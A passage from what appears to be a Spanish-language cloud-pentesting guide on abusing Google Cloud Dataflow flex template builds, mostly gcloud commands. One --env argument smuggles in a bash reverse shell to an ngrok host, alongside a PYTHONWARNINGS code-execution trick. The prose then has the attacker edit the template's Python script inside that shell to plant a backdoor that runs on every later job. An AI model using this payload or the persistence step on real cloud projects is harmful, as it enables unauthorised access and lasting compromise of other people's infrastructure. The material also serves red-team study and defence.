Create repository where dockerfiles and code is going to be stored

export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY

Create artifact storage

export NAME_ARTIFACT=flex-example-python gcloud artifacts repositories create $NAME_ARTIFACT
–repository-format=docker
–location=us-central1 gcloud auth configure-docker us-central1-docker.pkg.dev

Create template

export NAME_TEMPLATE=flex-template gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
–image-gcr-path “us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest”
–sdk-language “PYTHON”
–flex-template-base-image “PYTHON3”
–metadata-file “metadata.json”
–py-path “.”
–env “FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py”
–env “FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt”
–env “PYTHONWARNINGS=all:0:antigravity.x:0:0”
–env “/bin/bash -c ‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1’ & #%s”
–region=us-central1

</details>

**Mientras se está construyendo, obtendrás un reverse shell** (puedes abusar de las env variables como en el ejemplo anterior u otros parámetros que hacen que el Docker file ejecute cosas arbitrarias). En ese momento, dentro del reverse shell, es posible **ir al directorio `/template` y modificar el código del script principal en python que se ejecutará (en nuestro ejemplo este es `getting_started.py`)**. Coloca tu backdoor aquí para que cada vez que se ejecute el job, se ejecute.

Entonces, la próxima vez que se ejecute el job, se ejecutará el contenedor comprometido que se ha construido:

<details>

<summary>Ejecutar la plantilla de Dataflow</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1